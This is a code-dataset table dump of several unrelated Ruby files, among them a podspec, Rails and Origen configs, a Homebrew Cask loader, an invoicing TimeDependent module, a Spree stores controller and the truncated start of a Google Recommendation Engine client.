hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
ace1df127fbe333581c730224210ecafc107a262 | 701 | Pod::Spec.new do |s|
s.name = 'AWSSES'
s.version = '2.6.6'
s.summary = 'Amazon Web Services SDK for iOS.'
s.description = 'The AWS SDK for iOS provides a library, code samples, and documentation for developers to build connected mobile applications using AWS.'
s.homepage = 'http://aws.amazon.com/mobile/sdk'
s.license = 'Apache License, Version 2.0'
s.author = { 'Amazon Web Services' => 'amazonwebservices' }
s.platform = :ios, '8.0'
s.source = { :git => 'https://github.com/aws/aws-sdk-ios.git',
:tag => s.version}
s.requires_arc = true
s.dependency 'AWSCore', '2.6.6'
s.source_files = 'AWSSES/*.{h,m}'
end
| 38.944444 | 157 | 0.606277 |
871fd8099879b0c691ef257fd4e6dd7689d74bfe | 1,249 | require 'bigdecimal'
begin
require 'psych'
rescue LoadError
end
require 'yaml'
# Define our own class rather than modify the global class
class SitemapGenerator::BigDecimal
YAML_TAG = 'tag:yaml.org,2002:float'
YAML_MAPPING = { 'Infinity' => '.Inf', '-Infinity' => '-.Inf', 'NaN' => '.NaN' }
yaml_tag YAML_TAG
def initialize(num)
@value = BigDecimal(num)
end
def *(other)
other * @value
end
def /(other)
SitemapGenerator::BigDecimal === other ? @value / other.instance_variable_get(:@value) : @value / other
end
# This emits the number without any scientific notation.
# This is better than self.to_f.to_s since it doesn't lose precision.
#
# Note that reconstituting YAML floats to native floats may lose precision.
def to_yaml(opts = {})
return super unless defined?(YAML::ENGINE) && YAML::ENGINE.syck?
YAML.quick_emit(nil, opts) do |out|
string = to_s
out.scalar(YAML_TAG, YAML_MAPPING[string] || string, :plain)
end
end
def encode_with(coder)
string = to_s
coder.represent_scalar(nil, YAML_MAPPING[string] || string)
end
def to_d
self
end
DEFAULT_STRING_FORMAT = 'F'
def to_s(format = DEFAULT_STRING_FORMAT)
@value.to_s(format)
end
end
| 22.303571 | 107 | 0.682946 |
abc443d2fac83d501c5ae500370700c3033f945d | 1,442 | require File.expand_path('../boot', __FILE__)
require 'rails/all'
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module LeaveManagement
class Application < Rails::Application
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
# Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
# Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
# config.time_zone = 'Central Time (US & Canada)'
# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
# config.i18n.default_locale = :de
# Do not swallow errors in after_commit/after_rollback callbacks.
config.active_record.raise_in_transactional_callbacks = true
ActionMailer::Base.smtp_settings = {
:address => "smtp.gmail.com",
:port => 587,
:domain => "gmail.com",
:user_name => "<address>@gmail.com",
:password => "<password>",
:authentication => "login",
:enable_starttls_auto => true
}
end
end
| 36.05 | 99 | 0.677531 |
ff53988d72cfc8c075b0d7a3d3f1b2692100fc26 | 2,405 | class Cask::Source::PathBase
# derived classes must define method self.me?
def self.path_for_query(query)
path_string = "#{query}"
path_string.concat('.rb') unless path_string.match(%r{\.rb\Z}i)
Pathname.new(path_string)
end
attr_reader :path
def initialize(path)
@path = Pathname(path).expand_path
end
def load
raise CaskError.new "File '#{path}' does not exist" unless path.exist?
raise CaskError.new "File '#{path}' is not readable" unless path.readable?
raise CaskError.new "File '#{path}' is not a plain file" unless path.file?
begin
# forward compatibility hack: convert first lines of the new form
#
# cask :v1 => 'google-chrome' do
#
# to the old form
#
# class GoogleChrome < Cask
#
# limitation: does not support Ruby extended quoting such as %Q{}
#
# todo: in the future, this can be pared down to an "eval"
# read Cask
cask_string = File.open(path, 'rb') do |handle|
contents = handle.read
if defined?(Encoding)
contents.force_encoding('UTF-8')
else
contents
end
end
# munge text
cask_string.sub!(%r{\A(\s*\#[^\n]*\n)+}, '');
if %r{\A\s*cask\s+:v([\d_]+)(test)?\s+=>\s+([\'\"])(\S+?)\3(?:\s*,\s*|\s+)do\s*\n}.match(cask_string)
dsl_version = $1
test_cask = ! $2.nil?
superclass_name = test_cask ? 'TestCask' : 'Cask'
cask_string.sub!(%r{\A[^\n]+\n}, "class #{cask_class_name} < #{superclass_name}\n")
end
# simulate "require"
begin
Object.const_get(cask_class_name)
rescue NameError
eval(cask_string, TOPLEVEL_BINDING)
end
rescue CaskError, StandardError, ScriptError => e
# bug: e.message.concat doesn't work with CaskError exceptions
e.message.concat(" while loading '#{path}'")
raise e
end
begin
Object.const_get(cask_class_name).new
rescue CaskError, StandardError, ScriptError => e
# bug: e.message.concat doesn't work with CaskError exceptions
e.message.concat(" while instantiating '#{cask_class_name}' from '#{path}'")
raise e
end
end
def cask_class_name
path.basename.to_s.sub(/\.rb/, '').split('-').map(&:capitalize).join
end
def to_s
# stringify to fully-resolved location
path.to_s
end
end
| 28.630952 | 107 | 0.60499 |
01a30a83fd4c71bb2c242ae6c0293ae23fa774f6 | 1,001 | module ArticleJSON
module Export
module PlainText
module Elements
class Quote < Base
# Quotes are just rendered with a preceding blank line. If a caption
# is present, it is rendered below the quote indented with two dashes.
# @return [String]
def export
"\n#{quote_text}\n"
end
private
# Plain text representation of the entire quote
# @return [String]
def quote_text
extract_text(@element.content).tap do |text|
if @element.caption&.any?
text << " --#{extract_text(@element.caption)}\n"
end
end
end
# Extract plain text from given element
# @param [ArticleJSON::Elements::Base] elements
# @return [String]
def extract_text(elements)
elements.map { |text| base_class.new(text).export }.join
end
end
end
end
end
end
| 27.805556 | 80 | 0.544456 |
38fe277701bb37bbd05d574c6eb427de9afe84ae | 4,716 | class OrigenCoreApplication < Origen::Application
self.name = "Origen Core"
self.namespace = "Origen"
config.name = "Origen Core"
config.initials = "Origen"
config.rc_url = "[email protected]:Origen-SDK/origen.git"
config.semantically_version = true
config.release_externally = true
config.gem_name = "origen"
config.production_targets = {
"1m79x" => "production",
"2m79x" => "debug",
"3m79x" => "mock.rb",
}
config.lint_test = {
# Require the lint tests to pass before allowing a release to proceed
:run_on_tag => true,
# Auto correct violations where possible whenever 'origen lint' is run
:auto_correct => true,
# Limit the testing for large legacy applications
#:level => :easy,
# Run on these directories/files by default
#:files => ["lib", "config/application.rb"],
}
config.remotes = [
# To include the OrigenAppGenerators documentation in the main guides
{
dir: "origen_app_generators",
rc_url: "https://github.com/Origen-SDK/origen_app_generators.git",
version: "v1.1.0",
development: true
}
]
#config.lsf.project = "origen core"
config.web_directory = "https://github.com/Origen-SDK/Origen-SDK.github.io.git/origen"
#config.web_directory = "[email protected]:Origen-SDK/Origen-SDK.github.io.git/origen"
config.web_domain = "http://origen-sdk.org/origen"
config.pattern_prefix = "nvm"
config.application_pattern_header do |options|
"This is a dummy pattern created by the Origen test environment"
end
# Add any directories or files not intended to be under change management control
# standard Origen files/dirs already included
# config.unmanaged_dirs = %w{dir1 dir2}
# config.unamanged_files = %w{file1 file2 *.swp}
config.output_directory do
dir = "#{Origen.root}/output/#{$top.class}"
dir.gsub!("::","_") if Origen.running_on_windows?
dir
end
config.reference_directory do
dir = "#{Origen.root}/.ref/#{$top.class}"
dir.gsub!("::","_") if Origen.running_on_windows?
dir
end
# Help Origen to find patterns based on an iterator
config.pattern_name_translator do |name|
if name == "dummy_name"
{:source => "timing", :output => "timing"}
else
name.gsub(/_b\d/, "_bx")
end
end
# By block iterator
config.pattern_iterator do |iterator|
iterator.key = :by_block
iterator.loop do |&pattern|
$nvm.blocks.each do |block|
pattern.call(block)
end
end
iterator.setup do |block|
blk = $nvm.find_block_by_id(block.id)
blk.select
blk
end
iterator.pattern_name do |name, block|
name.gsub("_bx", "_b#{block.id}")
end
end
# By setting iterator
config.pattern_iterator do |iterator|
iterator.key = :by_setting
iterator.loop do |settings, &pattern|
settings.each do |setting|
pattern.call(setting)
end
end
iterator.pattern_name do |name, setting|
name.gsub("_x", "_#{setting}")
end
end
def after_web_compile(options)
Origen.app.plugins.each do |plugin|
if plugin.config.shared && plugin.config.shared[:origen_guides]
Origen.app.runner.launch action: :compile,
files: File.join(plugin.root, plugin.config.shared[:origen_guides]),
output: File.join('web', 'content', 'guides')
end
end
end
def before_release_gem
Dir.chdir Origen.root do
FileUtils.rm_rf('origen_app_generators') if File.exist?('origen_app_generators')
FileUtils.cp_r(Origen.app(:origen_app_generators).root, 'origen_app_generators')
FileUtils.rm_rf(File.join('origen_app_generators', '.git'))
end
end
# Ensure that all tests pass before allowing a release to continue
def validate_release
if !system("origen specs") || !system("origen examples")
puts "Sorry but you can't release with failing tests, please fix them and try again."
exit 1
else
puts "All tests passing, proceeding with release process!"
end
end
#def before_deploy_site
# Dir.chdir Origen.root do
# system "origen specs -c"
# system "origen examples -c"
# dir = "#{Origen.root}/web/output/coverage"
# FileUtils.remove_dir(dir, true) if File.exists?(dir)
# system "mv #{Origen.root}/coverage #{dir}"
# end
#end
def after_release_email(tag, note, type, selector, options)
begin
command = "origen web compile --remote --api --comment 'Release of #{Origen.app.name} #{Origen.app.version}'"
Dir.chdir Origen.root do
system command
end
rescue
Origen.log.error "Web deploy failed"
end
end
end
| 29.111111 | 115 | 0.657549 |
e84a938a81efc47f03d27fc01aef37bcdd0992f1 | 1,123 | require File.expand_path('../boot', __FILE__)
require 'rails/all'
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module AtomThemeBrowser
class Application < Rails::Application
# Settings in config/environments/* take precedence over those specified here.
# Application configuration should go into files in config/initializers
# -- all .rb files in that directory are automatically loaded.
# Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
# Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
# config.time_zone = 'Central Time (US & Canada)'
# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
# config.i18n.default_locale = :de
# Do not swallow errors in after_commit/after_rollback callbacks.
config.active_record.raise_in_transactional_callbacks = true
end
end
| 41.592593 | 99 | 0.73553 |
08198cf3d1b6ef0c4c0eabd6843b37b2226eaf4d | 21,754 | require "active_support/concern"
module Invoicing
# == Time-dependent value objects
#
# This module implements the notion of a value (or a set of values) which may change at
# certain points in time, and for which it is important to have a full history of values
# for every point in time. It is used in the invoicing framework as basis for tax rates,
# prices, commissions etc.
#
# === Background
#
# To illustrate the need for this tool, consider for example the case of a tax rate. Say
# the rate is currently 10%, and in a naive implementation you simply store the value
# <tt>0.1</tt> in a constant. Whenever you need to calculate tax on a price, you multiply
# the price with the constant, and store the result together with the price in the database.
# Then, one day the government decides to increase the tax rate to 12%. On the day the
# change takes effect, you change the value of the constant to <tt>0.12</tt>.
#
# This naive implementation has a number of problems, which are addressed by this module:
# * With a constant, you have no way of informing users what a price will be after an
# upcoming tax change. Using +TimeDependent+ allows you to query the value on any date
# in the past or future, and show it to users as appropriate. You also gain the ability
# to process back-dated or future-dated transactions if this should be necessary.
# * With a constant, you have no explicit information in your database informing you which
# rate was applied for a particular tax calculation. You may be able to infer the rate
# from the prices you store, but this may not be enough in cases where there is additional
# metadata attached to tax rates (e.g. if there are different tax rates for different
# types of product). With +TimeDependent+ you can have an explicit reference to the tax
# object which formed the basis of a calculation, giving you a much better audit trail.
# * If there are different tax categories (e.g. a reduced rate for products of type A, and
# a higher rate for type B), the government may not only change the rates themselves, but
# also decide to reclassify product X as type B rather than type A. In any case you will
# need to store the type of each of your products; however, +TimeDependent+ tries to
# minimize the amount of reclassifying you need to do, should it become necessary.
#
# == Data Structure
#
# +TimeDependent+ objects are special ActiveRecord::Base objects. One database table is used,
# and each row in that table represents the value (e.g. the tax rate or the price) during
# a particular period of time. If there are multiple different values at the same time (e.g.
# a reduced tax rate and a higher rate), each of these is also represented as a separate
# row. That way you can refer to a +TimeDependent+ object from another model object (such as
# storing the tax category for a product), and refer simultaneously to the type of tax
# applicable for this product and the period for which this classification is valid.
#
# If a rate change is announced, it <b>important that the actual values in the table
# are not changed</b> in order to preserve historical information. Instead, add another
# row (or several rows), taking effect on the appropriate date. However, it is usually
# not necessary to update your other model objects to refer to these new rows; instead,
# each +TimeDependent+ object which expires has a reference to the new +TimeDependent+
# objects which replaces it. +TimeDependent+ provides methods for finding the current (or
# future) rate by following this chain of replacements.
#
# === Example
#
# To illustrate, take as example the rate of VAT (Value Added Tax) in the United Kingdom.
# The main tax rate was at 17.5% until 1 December 2008, when it was changed to 15%.
# On 1 January 2010 it is due to be changed back to 17.5%. At the same time, there are a
# reduced rates of 5% and 0% on certain goods; while the main rate was changed, the
# reduced rates stayed unchanged.
#
# The table of +TimeDependent+ records will look something like this:
#
# +----+-------+---------------+------------+---------------------+---------------------+----------------+
# | id | value | description | is_default | valid_from | valid_until | replaced_by_id |
# +----+-------+---------------+------------+---------------------+---------------------+----------------+
# | 1 | 0.175 | Standard rate | 1 | 1991-04-01 00:00:00 | 2008-12-01 00:00:00 | 4 |
# | 2 | 0.05 | Reduced rate | 0 | 1991-04-01 00:00:00 | NULL | NULL |
# | 3 | 0.0 | Zero rate | 0 | 1991-04-01 00:00:00 | NULL | NULL |
# | 4 | 0.15 | Standard rate | 1 | 2008-12-01 00:00:00 | 2010-01-01 00:00:00 | 5 |
# | 5 | 0.175 | Standard rate | 1 | 2010-01-01 00:00:00 | NULL | NULL |
# +----+-------+---------------+------------+---------------------+---------------------+----------------+
#
# Graphically, this may be illustrated as:
#
# 1991-04-01 2008-12-01 2010-01-01
# : : :
# Standard rate: 17.5% -----------------> 15% ---------------> 17.5% ----------------->
# : : :
# Zero rate: 0% --------------------------------------------------------------->
# : : :
# Reduced rate: 5% --------------------------------------------------------------->
#
# It is a deliberate choice that a +TimeDependent+ object references its successor, and not
# its predecessor. This is so that you can classify your items based on the current
# classification, and be sure that if the current rate expires there is an unambiguous
# replacement for it. On the other hand, it is usually not important to know what the rate
# for a particular item would have been at some point in the past.
#
# Now consider a slightly more complicated (fictional) example, in which a UK court rules
# that teacakes have been incorrectly classified for VAT purposes, namely that they should
# have been zero-rated while actually they had been standard-rated. The court also decides
# that all sales of teacakes before 1 Dec 2008 should maintain their old standard-rated status,
# while sales from 1 Dec 2008 onwards should be zero-rated.
#
# Assume you have an online shop in which you sell teacakes and other goods (both standard-rated
# and zero-rated). You can handle this reclassification (in addition to the standard VAT rate
# change above) as follows:
#
# 1991-04-01 2008-12-01 2010-01-01
# : : :
# Standard rate: 17.5% -----------------> 15% ---------------> 17.5% ----------------->
# : : :
# Teacakes: 17.5% ------------. : :
# : \_ : :
# Zero rate: 0% ---------------+-> 0% ---------------------------------------->
# : : :
# Reduced rate: 5% --------------------------------------------------------------->
#
# Then you just need to update the teacake products in your database, which previously referred
# to the 17.5% object valid from 1991-04-01, to refer to the special teacake rate. None of the
# other products need to be modified. This way, the teacakes will automatically switch to the 0%
# rate on 2008-12-01. If you add any new teacake products to the database after December 2008, you
# can refer either to the teacake rate or to the new 0% rate which takes effect on 2008-12-01;
# it won't make any difference.
#
# == Usage notes
#
# This implementation is designed for tables with a small number of rows (no more than a few
# dozen) and very infrequent changes. To reduce database load, it caches model objects very
# aggressively; <b>you will need to restart your Ruby interpreter after making a change to
# the data</b> as the cache is not cleared between requests. This is ok because you shouldn't
# be lightheartedly modifying +TimeDependent+ data anyway; a database migration as part of an
# explicitly deployed release is probably the best way of introducing a rate change
# (that way you can also check it all looks correct on your staging server before making the
# rate change public).
#
# A model object using +TimeDependent+ must inherit from ActiveRecord::Base and must have
# at least the following columns (although columns may have different names, if declared to
# +acts_as_time_dependent+):
# * <tt>id</tt> -- An integer primary key
# * <tt>valid_from</tt> -- A column of type <tt>datetime</tt>, which must not be <tt>NULL</tt>.
# It contains the moment at which the rate takes effect. The oldest <tt>valid_from</tt> dates
# in the table should be in the past by a safe margin.
# * <tt>valid_until</tt> -- A column of type <tt>datetime</tt>, which contains the moment from
# which the rate is no longer valid. It may be <tt>NULL</tt>, in which case the the rate is
# taken to be "valid until further notice". If it is not <tt>NULL</tt>, it must contain a
# date strictly later than <tt>valid_from</tt>.
# * <tt>replaced_by_id</tt> -- An integer, foreign key reference to the <tt>id</tt> column in
# this same table. If <tt>valid_until</tt> is <tt>NULL</tt>, <tt>replaced_by_id</tt> must also
# be <tt>NULL</tt>. If <tt>valid_until</tt> is non-<tt>NULL</tt>, <tt>replaced_by_id</tt> may
# or may not be <tt>NULL</tt>; if it refers to a replacement object, the <tt>valid_from</tt>
# value of that replacement object must be equal to the <tt>valid_until</tt> value of this
# object.
#
# Optionally, the table may have further columns:
# * <tt>value</tt> -- The actual (usually numeric) value for which we're going to all this
# effort, e.g. a tax rate percentage or a price in some currency unit.
# * <tt>is_default</tt> -- A boolean column indicating whether or not this object should be
# considered a default during its period of validity. This may be useful if there are several
# different rates in effect at the same time (such as standard, reduced and zero rate in the
# example above). If this column is used, there should be exactly one default rate at any
# given point in time, otherwise results are undefined.
#
# Apart from these requirements, a +TimeDependent+ object is a normal model object, and you may
# give it whatever extra metadata you want, and make references to it from any other model object.
module TimeDependent
extend ActiveSupport::Concern
module ActMethods
# Identifies the current model object as a +TimeDependent+ object, and creates all the
# necessary methods.
#
# Accepts options in a hash, all of which are optional:
# * <tt>id</tt> -- Alternative name for the <tt>id</tt> column
# * <tt>valid_from</tt> -- Alternative name for the <tt>valid_from</tt> column
# * <tt>valid_until</tt> -- Alternative name for the <tt>valid_until</tt> column
# * <tt>replaced_by_id</tt> -- Alternative name for the <tt>replaced_by_id</tt> column
# * <tt>value</tt> -- Alternative name for the <tt>value</tt> column
# * <tt>is_default</tt> -- Alternative name for the <tt>is_default</tt> column
#
# Example:
#
# class CommissionRate < ActiveRecord::Base
# acts_as_time_dependent :value => :rate
# belongs_to :referral_program
# named_scope :for_referral_program, lambda { |p| { :conditions => { :referral_program_id => p.id } } }
# end
#
# reseller_program = ReferralProgram.find(1)
# current_commission = CommissionRate.for_referral_program(reseller_program).default_record_now
# puts "Earn #{current_commission.rate} per cent commission as a reseller..."
#
# changes = current_commission.changes_until(1.year.from_now)
# for next_commission in changes
# message = next_commission.nil? ? "Discontinued as of" : "Changing to #{next_commission.rate} per cent on"
# puts "#{message} #{current_commission.valid_until.strftime('%d %b %Y')}!"
# current_commission = next_commission
# end
#
def acts_as_time_dependent(*args)
Invoicing::ClassInfo.acts_as(Invoicing::TimeDependent, self, args)
# Create replaced_by association if it doesn't exist yet
replaced_by_id = time_dependent_class_info.method(:replaced_by_id)
unless respond_to? :replaced_by
belongs_to :replaced_by, class_name: name, foreign_key: replaced_by_id
end
# Create value_at and value_now method aliases
value_method = time_dependent_class_info.method(:value).to_s
if value_method != 'value'
alias_method(value_method + '_at', :value_at)
alias_method(value_method + '_now', :value_now)
class_eval <<-ALIAS
class << self
alias_method('default_#{value_method}_at', :default_value_at)
alias_method('default_#{value_method}_now', :default_value_now)
end
ALIAS
end
end # acts_as_time_dependent
end # module ActMethods
module ClassMethods
# Returns a list of records which are valid at some point during a particular date/time
# range. If there is a change of rate during this time interval, and one rate replaces
# another, then only the earliest element of each replacement chain is returned
# (because we can unambiguously convert from an earlier rate to a later one, but
# not necessarily in reverse).
#
# The date range must not be empty (i.e. +not_after+ must be later than +not_before+,
# not the same time or earlier). If you need the records which are valid at one
# particular point in time, use +valid_records_at+.
#
# A typical application for this method would be where you want to offer users the
# ability to choose from a selection of rates, including ones which are not yet
# valid but will become valid within the next month, for example.
def valid_records_during(not_before, not_after)
info = time_dependent_class_info
# List of all records whose validity period intersects the selected period
valid_records = all.select do |record|
valid_from = info.get(record, :valid_from)
valid_until = info.get(record, :valid_until)
has_taken_effect = (valid_from < not_after) # N.B. less than
not_yet_expired = (valid_until == nil) || (valid_until > not_before)
has_taken_effect && not_yet_expired
end
# Select only those which do not have a predecessor which is also valid
valid_records.select do |record|
record.predecessors.empty? || (valid_records & record.predecessors).empty?
end
end
# Returns the list of all records which are valid at one particular point in time.
# If you need to consider a period of time rather than a point in time, use
# +valid_records_during+.
def valid_records_at(point_in_time)
info = time_dependent_class_info
all.select do |record|
valid_from = info.get(record, :valid_from)
valid_until = info.get(record, :valid_until)
has_taken_effect = (valid_from <= point_in_time) # N.B. less than or equals
not_yet_expired = (valid_until == nil) || (valid_until > point_in_time)
has_taken_effect && not_yet_expired
end
end
# Returns the default record which is valid at a particular point in time.
# If there is no record marked as default, nil is returned; if there are
# multiple records marked as default, results are undefined.
# This method only works if the model objects have an +is_default+ column.
def default_record_at(point_in_time)
info = time_dependent_class_info
valid_records_at(point_in_time).select{|record| info.get(record, :is_default)}.first
end
# Returns the default record which is valid at the current moment.
def default_record_now
default_record_at(Time.now)
end
# Finds the default record for a particular +point_in_time+ (using +default_record_at+),
# then returns the value of that record's +value+ column. If +value+ was renamed to
# +another_method_name+ (option to +acts_as_time_dependent+), then
# +default_another_method_name_at+ is defined as an alias for +default_value_at+.
def default_value_at(point_in_time)
time_dependent_class_info.get(default_record_at(point_in_time), :value)
end
# Finds the current default record (like +default_record_now+),
# then returns the value of that record's +value+ column. If +value+ was renamed to
# +another_method_name+ (option to +acts_as_time_dependent+), then
# +default_another_method_name_now+ is defined as an alias for +default_value_now+.
def default_value_now
default_value_at(Time.now)
end
end # module ClassMethods
# Returns a list of objects of the same type as this object, which refer to this object
# through their +replaced_by_id+ values. In other words, this method returns all records
# which are direct predecessors of the current record in the replacement chain.
def predecessors
time_dependent_class_info.predecessors(self)
end
# Translates this record into its replacement for a given point in time, if necessary/possible.
#
# * If this record is still valid at the given date/time, this method just returns self.
# * If this record is no longer valid at the given date/time, the record which has been
# marked as this rate's replacement for the given point in time is returned.
# * If this record has expired and there is no valid replacement, nil is returned.
# * On the other hand, if the given date is at a time before this record becomes valid,
# we try to follow the chain of +predecessors+ records. If there is an unambiguous predecessor
# record which is valid at the given point in time, it is returned; otherwise nil is returned.
def record_at(point_in_time)
valid_from = time_dependent_class_info.get(self, :valid_from)
valid_until = time_dependent_class_info.get(self, :valid_until)
if valid_from > point_in_time
(predecessors.size == 1) ? predecessors[0].record_at(point_in_time) : nil
elsif valid_until.nil? || (valid_until > point_in_time)
self
elsif replaced_by.nil?
nil
else
replaced_by.record_at(point_in_time)
end
end
# Returns self if this record is currently valid, otherwise its past or future replacement
# (see +record_at+). If there is no valid replacement, nil is returned.
def record_now
record_at Time.now
end
# Finds this record's replacement for a given point in time (see +record_at+), then returns
# the value in its +value+ column. If +value+ was renamed to +another_method_name+ (option to
# +acts_as_time_dependent+), then +another_method_name_at+ is defined as an alias for +value_at+.
def value_at(point_in_time)
time_dependent_class_info.get(record_at(point_in_time), :value)
end
# Returns +value_at+ for the current date/time. If +value+ was renamed to +another_method_name+
# (option to +acts_as_time_dependent+), then +another_method_name_now+ is defined as an alias for
# +value_now+.
def value_now
value_at Time.now
end
# Examines the replacement chain from this record into the future, during the period
# starting with this record's +valid_from+ and ending at +point_in_time+.
# If this record stays valid until after +point_in_time+, an empty list is returned.
# Otherwise the sequence of replacement records is returned in the list. If a record
# expires before +point_in_time+ and without replacement, a +nil+ element is inserted
# as the last element of the list.
def changes_until(point_in_time)
info = time_dependent_class_info
changes = []
record = self
while !record.nil?
valid_until = info.get(record, :valid_until)
break if valid_until.nil? || (valid_until > point_in_time)
record = record.replaced_by
changes << record
end
changes
end
# Stores state in the ActiveRecord class object
class ClassInfo < Invoicing::ClassInfo::Base #:nodoc:
def predecessors(record)
# @predecessors is a hash of an ID pointing to the list of all objects which have that ID
# as replaced_by_id value
@predecessors ||= fetch_predecessors
@predecessors[get(record, :id)] || []
end
def fetch_predecessors
_predecessors = {}
for record in model_class.all
id = get(record, :replaced_by_id)
unless id.nil?
_predecessors[id] ||= []
_predecessors[id] << record
end
end
_predecessors
end
end # class ClassInfo
end # module TimeDependent
end
| 55.922879 | 117 | 0.647789 |
33dd9532702f1efcab2539999f964a0aa4dcbced | 169 | class Product
include Mongoid::Document
include Mongoid::Search
field :brand
field :name
references_many :tags
search_in :brand, :name, :tags => :name
end
| 15.363636 | 41 | 0.715976 |
39b2000bcb1c3c0d7bafd9a31b3c5251e377de91 | 1,297 | module Spree
module Api
class StoresController < Spree::Api::BaseController
before_action :get_store, except: [:index, :create]
def index
authorize! :read, Spree::Store
@stores = Spree::Store.accessible_by(current_ability, :read).all
respond_with(@stores)
end
def create
authorize! :create, Spree::Store
@store = Spree::Store.new(store_params)
@store.code = params[:store][:code]
if @store.save
respond_with(@store, status: 201, default_template: :show)
else
invalid_resource!(@store)
end
end
def update
authorize! :update, @store
if @store.update_attributes(store_params)
respond_with(@store, status: 200, default_template: :show)
else
invalid_resource!(@store)
end
end
def show
authorize! :read, @store
respond_with(@store)
end
def destroy
authorize! :destroy, @store
@store.destroy
respond_with(@store, status: 204)
end
private
def get_store
@store = Spree::Store.find(params[:id])
end
def store_params
params.require(:store).permit(permitted_store_attributes)
end
end
end
end
| 23.160714 | 72 | 0.590594 |
265d10c6cbfd3014714eff5939718cacba7eda91 | 24,519 | # frozen_string_literal: true
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
require "google/cloud/errors"
require "google/cloud/recommendationengine/v1beta1/prediction_service_pb"
module Google
module Cloud
module RecommendationEngine
module V1beta1
module PredictionService
##
# Client for the PredictionService service.
#
# Service for making recommendation prediction.
#
class Client
include Paths
# @private
attr_reader :prediction_service_stub
##
# Configure the PredictionService Client class.
#
# See {::Google::Cloud::RecommendationEngine::V1beta1::PredictionService::Client::Configuration}
# for a description of the configuration fields.
#
# ## Example
#
# To modify the configuration for all PredictionService clients:
#
# ::Google::Cloud::RecommendationEngine::V1beta1::PredictionService::Client.configure do |config|
# config.timeout = 10.0
# end
#
# @yield [config] Configure the Client client.
# @yieldparam config [Client::Configuration]
#
# @return [Client::Configuration]
#
def self.configure
@configure ||= begin
namespace = ["Google", "Cloud", "RecommendationEngine", "V1beta1"]
parent_config = while namespace.any?
parent_name = namespace.join "::"
parent_const = const_get parent_name
break parent_const.configure if parent_const.respond_to? :configure
namespace.pop
end
default_config = Client::Configuration.new parent_config
default_config.rpcs.predict.timeout = 600.0
default_config.rpcs.predict.retry_policy = {
initial_delay: 0.1,
max_delay: 60.0,
multiplier: 1.3,
retry_codes: [14, 4]
}
default_config
end
yield @configure if block_given?
@configure
end
##
# Configure the PredictionService Client instance.
#
# The configuration is set to the derived mode, meaning that values can be changed,
# but structural changes (adding new fields, etc.) are not allowed. Structural changes
# should be made on {Client.configure}.
#
# See {::Google::Cloud::RecommendationEngine::V1beta1::PredictionService::Client::Configuration}
# for a description of the configuration fields.
#
# @yield [config] Configure the Client client.
# @yieldparam config [Client::Configuration]
#
# @return [Client::Configuration]
#
def configure
yield @config if block_given?
@config
end
##
# Create a new PredictionService client object.
#
# ## Examples
#
# To create a new PredictionService client with the default
# configuration:
#
# client = ::Google::Cloud::RecommendationEngine::V1beta1::PredictionService::Client.new
#
# To create a new PredictionService client with a custom
# configuration:
#
# client = ::Google::Cloud::RecommendationEngine::V1beta1::PredictionService::Client.new do |config|
# config.timeout = 10.0
# end
#
# @yield [config] Configure the PredictionService client.
# @yieldparam config [Client::Configuration]
#
def initialize
# These require statements are intentionally placed here to initialize
# the gRPC module only when it's required.
# See https://github.com/googleapis/toolkit/issues/446
require "gapic/grpc"
require "google/cloud/recommendationengine/v1beta1/prediction_service_services_pb"
# Create the configuration object
@config = Configuration.new Client.configure
# Yield the configuration if needed
yield @config if block_given?
# Create credentials
credentials = @config.credentials
# Use self-signed JWT if the scope and endpoint are unchanged from default,
# but only if the default endpoint does not have a region prefix.
enable_self_signed_jwt = @config.scope == Client.configure.scope &&
@config.endpoint == Client.configure.endpoint &&
[email protected](".").first.include?("-")
credentials ||= Credentials.default scope: @config.scope,
enable_self_signed_jwt: enable_self_signed_jwt
if credentials.is_a?(String) || credentials.is_a?(Hash)
credentials = Credentials.new credentials, scope: @config.scope
end
@quota_project_id = @config.quota_project
@quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id
@prediction_service_stub = ::Gapic::ServiceStub.new(
::Google::Cloud::RecommendationEngine::V1beta1::PredictionService::Stub,
credentials: credentials,
endpoint: @config.endpoint,
channel_args: @config.channel_args,
interceptors: @config.interceptors
)
end
# Service calls
##
# Makes a recommendation prediction. If using API Key based authentication,
# the API Key must be registered using the
# {::Google::Cloud::RecommendationEngine::V1beta1::PredictionApiKeyRegistry::Client PredictionApiKeyRegistry}
# service. [Learn more](/recommendations-ai/docs/setting-up#register-key).
#
# @overload predict(request, options = nil)
# Pass arguments to `predict` via a request object, either of type
# {::Google::Cloud::RecommendationEngine::V1beta1::PredictRequest} or an equivalent Hash.
#
# @param request [::Google::Cloud::RecommendationEngine::V1beta1::PredictRequest, ::Hash]
# A request object representing the call parameters. Required. To specify no
# parameters, or to keep all the default parameter values, pass an empty Hash.
# @param options [::Gapic::CallOptions, ::Hash]
# Overrides the default settings for this call, e.g, timeout, retries, etc. Optional.
#
# @overload predict(name: nil, user_event: nil, page_size: nil, page_token: nil, filter: nil, dry_run: nil, params: nil, labels: nil)
# Pass arguments to `predict` via keyword arguments. Note that at
